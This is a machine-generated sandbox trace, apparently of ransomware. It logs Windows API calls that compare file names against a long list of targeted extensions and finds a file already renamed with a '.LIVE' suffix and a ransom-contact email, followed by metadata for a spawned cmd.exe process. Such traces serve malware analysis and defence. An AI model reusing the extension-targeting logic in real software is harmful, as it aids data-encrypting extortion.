(lpString1=".dcr", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".der") returned 4 [0168.175] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".dib") returned 4 [0168.175] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".dic") returned 4 [0168.175] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".dif") returned 4 [0168.175] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".divx") returned 5 [0168.175] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0168.175] lstrlenW (lpString=".djvu") returned 5 [0168.175] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0168.175] lstrlenW (lpString=".dng") returned 4 [0168.175] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".doc") returned 4 [0168.175] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".docm") returned 5 [0168.175] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0168.176] lstrlenW (lpString=".docx") returned 5 [0168.176] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0168.176] lstrlenW (lpString=".dot") returned 4 [0168.176] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0168.176] lstrlenW (lpString=".dotm") returned 5 [0168.176] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0168.176] lstrlenW (lpString=".dotx") returned 5 [0168.176] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0168.176] lstrlenW (lpString=".dpx") returned 4 [0168.176] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0168.176] lstrlenW (lpString=".dqy") returned 4 [0168.176] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0168.176] lstrlenW (lpString=".dsn") returned 4 [0168.176] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0168.176] lstrlenW (lpString=".dt") returned 3 [0168.176] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0168.176] lstrlenW (lpString=".dtd") returned 4 [0168.176] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0168.176] lstrlenW (lpString=".dwg") returned 4 [0168.176] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0168.176] lstrlenW (lpString=".dwt") returned 4 [0168.176] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0168.176] lstrlenW (lpString=".dx") returned 3 [0168.176] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0168.176] lstrlenW (lpString=".dxf") returned 4 [0168.176] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0168.176] lstrlenW (lpString=".edml") returned 5 [0168.176] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0168.176] lstrlenW (lpString=".efd") returned 4 [0168.176] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0168.176] lstrlenW (lpString=".elf") returned 4 [0168.176] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0168.176] lstrlenW (lpString=".emf") returned 4 [0168.176] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0168.176] lstrlenW (lpString=".emz") returned 4 [0168.176] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0168.177] lstrlenW (lpString=".epf") returned 4 [0168.177] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0168.177] lstrlenW (lpString=".eps") returned 4 [0168.177] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0168.177] lstrlenW (lpString=".epsf") returned 5 [0168.177] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0168.177] lstrlenW (lpString=".epsp") returned 5 [0168.177] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0168.177] lstrlenW (lpString=".erf") returned 4 [0168.177] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0168.177] lstrlenW (lpString=".exr") returned 4 [0168.177] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0168.177] lstrlenW (lpString=".f4v") returned 4 [0168.177] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0168.177] lstrlenW (lpString=".fido") returned 5 [0168.177] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0168.177] lstrlenW (lpString=".flm") returned 4 [0168.177] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0168.177] lstrlenW (lpString=".flv") returned 4 [0168.177] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0168.177] lstrlenW (lpString=".frm") returned 4 [0168.177] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0168.177] lstrlenW (lpString=".fxg") returned 4 [0168.177] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0168.177] lstrlenW (lpString=".geo") returned 4 [0168.177] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0168.177] lstrlenW (lpString=".gif") returned 4 [0168.177] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0168.177] lstrlenW (lpString=".grs") returned 4 [0168.178] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0168.178] lstrlenW (lpString=".gz") returned 3 [0168.178] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0168.178] lstrlenW (lpString=".h") returned 2 [0168.178] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0168.178] lstrlenW (lpString=".hdr") returned 4 [0168.178] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0168.178] lstrlenW (lpString=".hpp") returned 4 [0168.178] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0168.178] lstrlenW (lpString=".hta") returned 4 [0168.178] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0168.178] lstrlenW (lpString=".htc") returned 4 [0168.178] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0168.178] lstrlenW (lpString=".htm") returned 4 [0168.178] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0168.178] lstrlenW (lpString=".html") returned 5 [0168.178] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0168.178] lstrlenW (lpString=".icb") returned 4 [0168.178] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0168.178] lstrlenW (lpString=".ics") returned 4 [0168.178] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0168.178] lstrlenW (lpString=".iff") returned 4 [0168.178] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0168.178] lstrlenW (lpString=".inc") returned 4 [0168.178] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0168.178] lstrlenW (lpString=".indd") returned 5 [0168.178] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0168.178] lstrlenW (lpString=".ini") returned 4 [0168.178] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0168.178] FindNextFileW (in: hFindFile=0x5e8ff0, lpFindFileData=0x366f808 | out: lpFindFileData=0x366f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x219d4dc0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x219d4dc0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x219faf20, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE", cAlternateFileName="DESKTO~1.LIV")) returned 1 [0168.178] lstrlenW (lpString="desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE") returned 48 [0168.178] lstrlenW (lpString=".1cd") returned 4 [0168.179] lstrcmpiW (lpString1=".1cd", lpString2="LIVE") returned -1 [0168.179] lstrlenW (lpString=".3ds") returned 4 [0168.179] lstrcmpiW (lpString1=".3ds", lpString2="LIVE") returned -1 [0168.179] lstrlenW (lpString=".3fr") returned 4 [0168.179] lstrcmpiW (lpString1=".3fr", lpString2="LIVE") returned -1 [0168.179] lstrlenW (lpString=".3g2") returned 4 [0168.179] lstrcmpiW (lpString1=".3g2", lpString2="LIVE") returned -1 [0168.179] lstrlenW (lpString=".3gp") returned 4 [0168.179] lstrcmpiW (lpString1=".3gp", lpString2="LIVE") returned -1 [0168.179] lstrlenW (lpString=".7z") returned 3 [0168.179] lstrcmpiW (lpString1=".7z", lpString2="IVE") returned -1 [0168.179] lstrlenW (lpString=".accda") returned 6 [0168.179] lstrcmpiW (lpString1=".accda", lpString2="].LIVE") returned -1 [0168.179] lstrlenW (lpString=".accdb") returned 6 [0168.179] lstrcmpiW (lpString1=".accdb", lpString2="].LIVE") returned -1 [0168.179] lstrlenW (lpString=".accdc") returned 6 [0168.179] lstrcmpiW (lpString1=".accdc", lpString2="].LIVE") returned -1 [0168.179] lstrlenW (lpString=".accde") returned 6 [0168.179] lstrcmpiW (lpString1=".accde", lpString2="].LIVE") returned -1 [0168.179] lstrlenW (lpString=".accdt") returned 6 [0168.179] lstrcmpiW (lpString1=".accdt", lpString2="].LIVE") returned -1 [0168.179] lstrlenW (lpString=".accdw") returned 6 [0168.179] lstrcmpiW (lpString1=".accdw", lpString2="].LIVE") returned -1 [0168.179] lstrlenW (lpString=".adb") returned 4 [0168.179] lstrcmpiW (lpString1=".adb", lpString2="LIVE") returned -1 [0168.179] lstrlenW (lpString=".adp") returned 4 [0168.179] lstrcmpiW (lpString1=".adp", lpString2="LIVE") returned -1 [0168.179] lstrlenW (lpString=".ai") returned 3 [0168.179] lstrcmpiW (lpString1=".ai", lpString2="IVE") returned -1 [0168.179] lstrlenW (lpString=".ai3") returned 4 [0168.179] lstrcmpiW (lpString1=".ai3", lpString2="LIVE") returned -1 [0168.179] lstrlenW (lpString=".ai4") returned 4 [0168.179] lstrcmpiW (lpString1=".ai4", lpString2="LIVE") returned -1 [0168.179] lstrlenW (lpString=".ai5") returned 4 [0168.179] lstrcmpiW (lpString1=".ai5", lpString2="LIVE") returned -1 [0168.179] lstrlenW (lpString=".ai6") returned 4 [0168.179] lstrcmpiW (lpString1=".ai6", lpString2="LIVE") returned -1 [0168.180] lstrlenW (lpString=".ai7") returned 4 [0168.180] lstrcmpiW (lpString1=".ai7", lpString2="LIVE") returned -1 [0168.180] lstrlenW (lpString=".ai8") returned 4 [0168.180] lstrcmpiW (lpString1=".ai8", lpString2="LIVE") returned -1 [0168.180] lstrlenW (lpString=".anim") returned 5 [0168.180] lstrcmpiW (lpString1=".anim", lpString2=".LIVE") returned -1 [0168.180] lstrlenW (lpString=".arw") returned 4 [0168.180] lstrcmpiW (lpString1=".arw", lpString2="LIVE") returned -1 [0168.180] lstrlenW (lpString=".as") returned 3 [0168.180] lstrcmpiW (lpString1=".as", lpString2="IVE") returned -1 [0168.180] lstrlenW (lpString=".asa") returned 4 [0168.180] lstrcmpiW (lpString1=".asa", lpString2="LIVE") returned -1 [0168.180] lstrlenW (lpString=".asc") returned 4 [0168.180] lstrcmpiW (lpString1=".asc", lpString2="LIVE") returned -1 [0168.180] lstrlenW (lpString=".ascx") returned 5 [0168.180] lstrcmpiW (lpString1=".ascx", lpString2=".LIVE") returned -1 [0168.180] lstrlenW (lpString=".asm") returned 4 [0168.180] lstrcmpiW (lpString1=".asm", lpString2="LIVE") returned -1 [0168.180] lstrlenW (lpString=".asmx") returned 5 [0168.180] lstrcmpiW (lpString1=".asmx", lpString2=".LIVE") returned -1 [0168.180] lstrlenW (lpString=".asp") returned 4 [0168.180] lstrcmpiW (lpString1=".asp", lpString2="LIVE") returned -1 [0168.180] lstrlenW (lpString=".aspx") returned 5 [0168.180] lstrcmpiW (lpString1=".aspx", lpString2=".LIVE") returned -1 [0168.180] lstrlenW (lpString=".asr") returned 4 [0168.180] lstrcmpiW (lpString1=".asr", lpString2="LIVE") returned -1 [0168.180] lstrlenW (lpString=".asx") returned 4 [0168.180] lstrcmpiW (lpString1=".asx", lpString2="LIVE") returned -1 [0168.180] lstrlenW (lpString=".avi") returned 4 [0168.180] lstrcmpiW (lpString1=".avi", lpString2="LIVE") returned -1 [0168.181] lstrlenW (lpString=".avs") returned 4 [0168.181] lstrcmpiW (lpString1=".avs", lpString2="LIVE") returned -1 [0168.181] lstrlenW (lpString=".backup") returned 7 [0168.181] lstrcmpiW (lpString1=".backup", lpString2="m].LIVE") returned -1 [0168.181] lstrlenW (lpString=".bak") returned 4 [0168.181] lstrcmpiW (lpString1=".bak", lpString2="LIVE") returned -1 [0168.181] lstrlenW (lpString=".bay") returned 4 [0168.181] lstrcmpiW (lpString1=".bay", lpString2="LIVE") returned -1 [0168.181] lstrlenW (lpString=".bd") returned 3 [0168.181] lstrcmpiW (lpString1=".bd", lpString2="IVE") returned -1 [0168.181] lstrlenW (lpString=".bin") returned 4 [0168.181] lstrcmpiW (lpString1=".bin", lpString2="LIVE") returned -1 [0168.181] lstrlenW (lpString=".bmp") returned 4 [0168.181] lstrcmpiW (lpString1=".bmp", lpString2="LIVE") returned -1 [0168.181] lstrlenW (lpString=".bz2") returned 4 [0168.181] lstrcmpiW (lpString1=".bz2", lpString2="LIVE") returned -1 [0168.181] lstrlenW (lpString=".c") returned 2 [0168.181] lstrcmpiW (lpString1=".c", lpString2="VE") returned -1 [0168.181] lstrlenW (lpString=".cdr") returned 4 [0168.181] lstrcmpiW (lpString1=".cdr", lpString2="LIVE") returned -1 [0168.181] lstrlenW (lpString=".cer") returned 4 [0168.181] lstrcmpiW (lpString1=".cer", lpString2="LIVE") returned -1 [0168.181] lstrlenW (lpString=".cf") returned 3 [0168.181] lstrcmpiW (lpString1=".cf", lpString2="IVE") returned -1 [0168.181] lstrlenW (lpString=".cfc") returned 4 [0168.181] lstrcmpiW (lpString1=".cfc", lpString2="LIVE") returned -1 [0168.181] lstrlenW (lpString=".cfm") returned 4 [0168.181] lstrcmpiW (lpString1=".cfm", lpString2="LIVE") returned -1 [0168.182] lstrlenW (lpString=".cfml") returned 5 [0168.182] lstrcmpiW (lpString1=".cfml", lpString2=".LIVE") returned -1 [0168.182] lstrlenW (lpString=".cfu") returned 4 [0168.182] lstrcmpiW (lpString1=".cfu", lpString2="LIVE") returned -1 [0168.182] lstrlenW (lpString=".chm") returned 4 [0168.182] lstrcmpiW (lpString1=".chm", lpString2="LIVE") returned -1 [0168.182] lstrlenW (lpString=".cin") returned 4 [0168.182] lstrcmpiW (lpString1=".cin", lpString2="LIVE") returned -1 [0168.182] lstrlenW (lpString=".class") returned 6 [0168.182] lstrcmpiW (lpString1=".class", lpString2="].LIVE") returned -1 [0168.182] lstrlenW (lpString=".clx") returned 4 [0168.182] lstrcmpiW (lpString1=".clx", lpString2="LIVE") returned -1 [0168.182] lstrlenW (lpString=".config") returned 7 [0168.182] lstrcmpiW (lpString1=".config", lpString2="m].LIVE") returned -1 [0168.182] lstrlenW (lpString=".cpp") returned 4 [0168.182] lstrcmpiW (lpString1=".cpp", lpString2="LIVE") returned -1 [0168.182] lstrlenW (lpString=".cr2") returned 4 [0168.182] lstrcmpiW (lpString1=".cr2", lpString2="LIVE") returned -1 [0168.182] lstrlenW (lpString=".crt") returned 4 [0168.182] lstrcmpiW (lpString1=".crt", lpString2="LIVE") returned -1 [0168.182] lstrlenW (lpString=".crw") returned 4 [0168.182] lstrcmpiW (lpString1=".crw", lpString2="LIVE") returned -1 [0168.182] lstrlenW (lpString=".cs") returned 3 [0168.182] lstrcmpiW (lpString1=".cs", lpString2="IVE") returned -1 [0168.182] lstrlenW (lpString=".css") returned 4 [0168.182] lstrcmpiW (lpString1=".css", lpString2="LIVE") returned -1 [0168.182] lstrlenW (lpString=".csv") returned 4 [0168.183] lstrcmpiW (lpString1=".csv", lpString2="LIVE") returned -1 [0168.183] lstrlenW (lpString=".cub") returned 4 [0168.183] lstrcmpiW (lpString1=".cub", lpString2="LIVE") returned -1 [0168.183] lstrlenW (lpString=".dae") returned 4 [0168.183] lstrcmpiW (lpString1=".dae", lpString2="LIVE") returned -1 [0168.183] lstrlenW (lpString=".dat") returned 4 [0168.183] lstrcmpiW (lpString1=".dat", lpString2="LIVE") returned -1 [0168.183] lstrlenW (lpString=".db") returned 3 [0168.183] lstrcmpiW (lpString1=".db", lpString2="IVE") returned -1 [0168.183] lstrlenW (lpString=".dbf") returned 4 [0168.183] lstrcmpiW (lpString1=".dbf", lpString2="LIVE") returned -1 [0168.183] lstrlenW (lpString=".dbx") returned 4 [0168.183] lstrcmpiW (lpString1=".dbx", lpString2="LIVE") returned -1 [0168.183] lstrlenW (lpString=".dc3") returned 4 [0168.183] lstrcmpiW (lpString1=".dc3", lpString2="LIVE") returned -1 [0168.183] lstrlenW (lpString=".dcm") returned 4 [0168.183] lstrcmpiW (lpString1=".dcm", lpString2="LIVE") returned -1 [0168.183] lstrlenW (lpString=".dcr") returned 4 [0168.183] lstrcmpiW (lpString1=".dcr", lpString2="LIVE") returned -1 [0168.183] lstrlenW (lpString=".der") returned 4 [0168.183] lstrcmpiW (lpString1=".der", lpString2="LIVE") returned -1 [0168.183] lstrlenW (lpString=".dib") returned 4 [0168.183] lstrcmpiW (lpString1=".dib", lpString2="LIVE") returned -1 [0168.183] lstrlenW (lpString=".dic") returned 4 [0168.183] lstrcmpiW (lpString1=".dic", lpString2="LIVE") returned -1 [0168.183] lstrlenW (lpString=".dif") returned 4 [0168.183] lstrcmpiW (lpString1=".dif", lpString2="LIVE") returned -1 [0168.183] lstrlenW (lpString=".divx") returned 5 [0168.183] lstrcmpiW (lpString1=".divx", lpString2=".LIVE") returned -1 [0168.183] lstrlenW (lpString=".djvu") returned 5 [0168.183] lstrcmpiW (lpString1=".djvu", lpString2=".LIVE") returned -1 [0168.183] lstrlenW (lpString=".dng") returned 4 [0168.183] lstrcmpiW (lpString1=".dng", lpString2="LIVE") returned -1 [0168.183] lstrlenW (lpString=".doc") returned 4 [0168.184] lstrcmpiW (lpString1=".doc", lpString2="LIVE") returned -1 [0168.184] lstrlenW (lpString=".docm") returned 5 [0168.184] lstrcmpiW (lpString1=".docm", lpString2=".LIVE") returned -1 [0168.184] lstrlenW (lpString=".docx") returned 5 [0168.184] lstrcmpiW (lpString1=".docx", lpString2=".LIVE") returned -1 [0168.184] lstrlenW (lpString=".dot") returned 4 [0168.184] lstrcmpiW (lpString1=".dot", lpString2="LIVE") returned -1 [0168.184] lstrlenW (lpString=".dotm") returned 5 [0168.184] lstrcmpiW (lpString1=".dotm", lpString2=".LIVE") returned -1 [0168.184] lstrlenW (lpString=".dotx") returned 5 [0168.184] lstrcmpiW (lpString1=".dotx", lpString2=".LIVE") returned -1 [0168.184] lstrlenW (lpString=".dpx") returned 4 [0168.184] lstrcmpiW (lpString1=".dpx", lpString2="LIVE") returned -1 [0168.184] lstrlenW (lpString=".dqy") returned 4 [0168.184] lstrcmpiW (lpString1=".dqy", lpString2="LIVE") returned -1 [0168.184] lstrlenW (lpString=".dsn") returned 4 [0168.184] lstrcmpiW (lpString1=".dsn", lpString2="LIVE") returned -1 [0168.184] lstrlenW (lpString=".dt") returned 3 [0168.184] lstrcmpiW (lpString1=".dt", lpString2="IVE") returned -1 [0168.184] lstrlenW (lpString=".dtd") returned 4 [0168.184] lstrcmpiW (lpString1=".dtd", lpString2="LIVE") returned -1 [0168.184] lstrlenW (lpString=".dwg") returned 4 [0168.184] lstrcmpiW (lpString1=".dwg", lpString2="LIVE") returned -1 [0168.184] lstrlenW (lpString=".dwt") returned 4 [0168.184] lstrcmpiW (lpString1=".dwt", lpString2="LIVE") returned -1 [0168.184] lstrlenW (lpString=".dx") returned 3 [0168.185] lstrcmpiW (lpString1=".dx", lpString2="IVE") returned -1 [0168.185] lstrlenW (lpString=".dxf") returned 4 [0168.185] lstrcmpiW (lpString1=".dxf", lpString2="LIVE") returned -1 [0168.185] lstrlenW (lpString=".edml") returned 5 [0168.185] lstrcmpiW (lpString1=".edml", lpString2=".LIVE") returned -1 [0168.185] lstrlenW (lpString=".efd") returned 4 [0168.185] lstrcmpiW (lpString1=".efd", lpString2="LIVE") returned -1 [0168.185] lstrlenW (lpString=".elf") returned 4 [0168.185] lstrcmpiW (lpString1=".elf", lpString2="LIVE") returned -1 [0168.185] lstrlenW (lpString=".emf") returned 4 [0168.185] lstrcmpiW (lpString1=".emf", lpString2="LIVE") returned -1 [0168.185] lstrlenW (lpString=".emz") returned 4 [0168.185] lstrcmpiW (lpString1=".emz", lpString2="LIVE") returned -1 [0168.185] lstrlenW (lpString=".epf") returned 4 [0168.185] lstrcmpiW (lpString1=".epf", lpString2="LIVE") returned -1 [0168.185] lstrlenW (lpString=".eps") returned 4 [0168.185] lstrcmpiW (lpString1=".eps", lpString2="LIVE") returned -1 [0168.185] lstrlenW (lpString=".epsf") returned 5 [0168.185] lstrcmpiW (lpString1=".epsf", lpString2=".LIVE") returned -1 [0168.185] lstrlenW (lpString=".epsp") returned 5 [0168.185] lstrcmpiW (lpString1=".epsp", lpString2=".LIVE") returned -1 [0168.185] lstrlenW (lpString=".erf") returned 4 [0168.185] lstrcmpiW (lpString1=".erf", lpString2="LIVE") returned -1 [0168.185] lstrlenW (lpString=".exr") returned 4 [0168.185] lstrcmpiW (lpString1=".exr", lpString2="LIVE") returned -1 [0168.185] lstrlenW (lpString=".f4v") returned 4 [0168.185] lstrcmpiW (lpString1=".f4v", lpString2="LIVE") returned -1 [0168.185] lstrlenW (lpString=".fido") returned 5 [0168.185] lstrcmpiW (lpString1=".fido", lpString2=".LIVE") returned -1 [0168.185] lstrlenW (lpString=".flm") returned 4 [0168.185] lstrcmpiW (lpString1=".flm", lpString2="LIVE") returned -1 [0168.185] lstrlenW (lpString=".flv") returned 4 [0168.185] lstrcmpiW (lpString1=".flv", lpString2="LIVE") returned -1 [0168.185] lstrlenW (lpString=".frm") returned 4 [0168.185] lstrcmpiW (lpString1=".frm", lpString2="LIVE") returned -1 [0168.185] lstrlenW (lpString=".fxg") returned 4 [0168.186] lstrcmpiW (lpString1=".fxg", lpString2="LIVE") returned -1 [0168.186] lstrlenW (lpString=".geo") returned 4 [0168.186] lstrcmpiW (lpString1=".geo", lpString2="LIVE") returned -1 [0168.186] lstrlenW (lpString=".gif") returned 4 [0168.186] lstrcmpiW (lpString1=".gif", lpString2="LIVE") returned -1 [0168.186] lstrlenW (lpString=".grs") returned 4 [0168.186] lstrcmpiW (lpString1=".grs", lpString2="LIVE") returned -1 Thread: id = 87 os_tid = 0x35c Process: id = "13" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x627c0000" os_pid = "0x4f4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x3d4" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e909" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 71 os_tid = 0x4d4